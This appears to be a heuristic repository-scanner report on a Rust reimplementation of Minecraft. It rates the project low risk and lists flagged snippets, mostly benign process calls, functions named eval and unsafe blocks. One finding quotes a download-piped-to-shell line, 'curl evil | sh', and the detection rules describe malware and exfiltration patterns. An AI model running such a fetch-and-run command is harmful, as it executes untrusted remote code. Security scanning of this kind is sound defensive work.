live · scanning repos
Scanrepo
github.com
github.com / horizon-rust

horizon-rust/horizon

Rust·3561 files·commit 0dfa513·scanned 20h ago·cached ✓
25/100
LOW RISK
Minor findings consistent with the project type. Nothing reachable from install hooks.

score capped at 25 — 4,337 stars — findings likely legitimate code patterns

verdict accurate?
Created 26 days ago
Created 26 days ago
Partial architecture graph
threat-state: lowlive

FINDINGS ░▒▓

what this code does░▒▓

What happens when you open, install or run it, from the findings below.

  1. when runcrates/cargo-horizon-mod/src/main.rs and 3 other files start system processes. crates/cargo-horizon-mod/src/main.rs, crates/horizon-client-render/src/crash.rs, crates/horizon-client-render/src/packs.rs, tools/parity.py
  2. when runtools/interaction_lab.py builds code from strings at run time with exec or eval. tools/interaction_lab.py
  3. when runcrates/horizon-server/src/update.rs calls wallet signing APIs and sends requests to api.github.com. crates/horizon-server/src/update.rs:263
  4. when runlauncher/src/native_mods.rs downloads a script and pipes it to the shell: curl evil | sh. launcher/src/native_mods.rs
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/cargo-horizon-mod/src/main.rs
    println!("Starting {game} with {}", path.display());
    let status = Command::new(&game)
        .arg("--dev-mod")
        .arg(&path)
+8
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client-render/src/crash.rs
fn command_output(program: &str, args: &[&str]) -> Option<String> {
    let out = std::process::Command::new(program)
        .args(args)
        .output()
+8
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client-render/src/packs.rs
    };
    let status = std::process::Command::new("cmd")
        .args(["/C", "mklink", "/J"])
        .raw_arg(quoted(at)?)
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-client-render/src/providers.rs
    }
    fn eval(v: &Value, fast: bool, table: &HashMap<String, Value>, depth: u32) -> f64 {
        if depth > 16 {
            return 0.0;
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/condition.rs

    fn eval(expr: &str) -> Result<i64, String> {
        let mut m = Macros::standard();
        m.define("SHADOW_RES", "2048");
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/custom.rs
    /// values, in the order of `uniforms`.
    pub fn eval(&mut self, dt: f64, builtin: &dyn Fn(&str) -> Option<Val>) -> Vec<Val> {
        let mut vars: HashMap<String, Val> = HashMap::new();
      ...
+8
warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.launcher/src/native_mods.rs
curl evil | sh
+4
warningRust unsafe blockunsafe blocks bypass Rust's memory safety guarantees. Malware uses them for raw pointer manipulation, shellcode injection, or calling dangerous foreign functions.third_party/wgpu-hal/src/gles/egl.rs
    };
    let command = unsafe { ffi::CStr::from_ptr(command_raw) }.to_string_lossy();
    let message = if message_raw.is_null() {
        "".into()
+3
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tests/test_pre_push.py
    def git(self, *args):
        return subprocess.check_output(
            ["git", "-c", f"core.hooksPath={self.repo / 'no-hooks'}", "-c", "user.name=Test",
             "-c", "user.email=test@exam...
+4
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.tools/interaction_lab.py

    def compile(self, *oracles):
        sources = [PARITY / (name + '.java') for name in oracles]
        done = subprocess.run(['javac', '--release', str(self.lock['minecraft']['java_major']), '-pr...
+7
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tools/parity.py
        try:
            result = subprocess.run(command, capture_output=True, text=True, cwd=ROOT)
            return (result.stdout + result.stderr).strip()
        except FileNotFoundError:
+4
infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2
warningRust wallet/crypto code with network activityCode handling private keys or signing and also making network requests may be exfiltrating secrets or sending funds to an attacker.crates/horizon-server/src/update.rs
    fn a_nightly_is_picked_with_its_channel_signature_and_named_by_its_build() {
        use horizon_release_sign::{SigningKey, sha256_hex, sums_file};
        let Some(first) = ASSETS.first() else { ...
+5
infoSuspicious file in repoVery large source file (673KB) — could contain obfuscated payloadcrates/horizon-client/src/game.rs+2
infoSuspicious file in repoExecutable file (install.ps1) in repositorypackaging/server/install.ps1+2

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

2722 files scanned @ 0dfa513 | 10/30/2026 | heuristic scan — always review manually

risk by category
code execution25
network & exfiltration5
file system access0
obfuscation0
supply chain4
owasp / injection0
telemetry
files 2722/3561rules hit 15engine v10commit 0dfa513

github

horizon-rust/horizon

Minecraft: Java Edition 26.3 rewritten from scratch in Rust, checked against vanilla with 281 differential harnesses. Get it with the Horizon launcher.

Rust
4337
400
27d
3561 files
2722 scanned(76%)
0dfa513

network indicators░▒▓

Hosts this code names or would connect to. Top 50 of 407, decoded and call-site destinations first. Informational, not scored.

architecture░▒▓

entry (0) flagged (29) pkg (196)
596 nodes · 663 edgesscroll to zoom · click node to jump to finding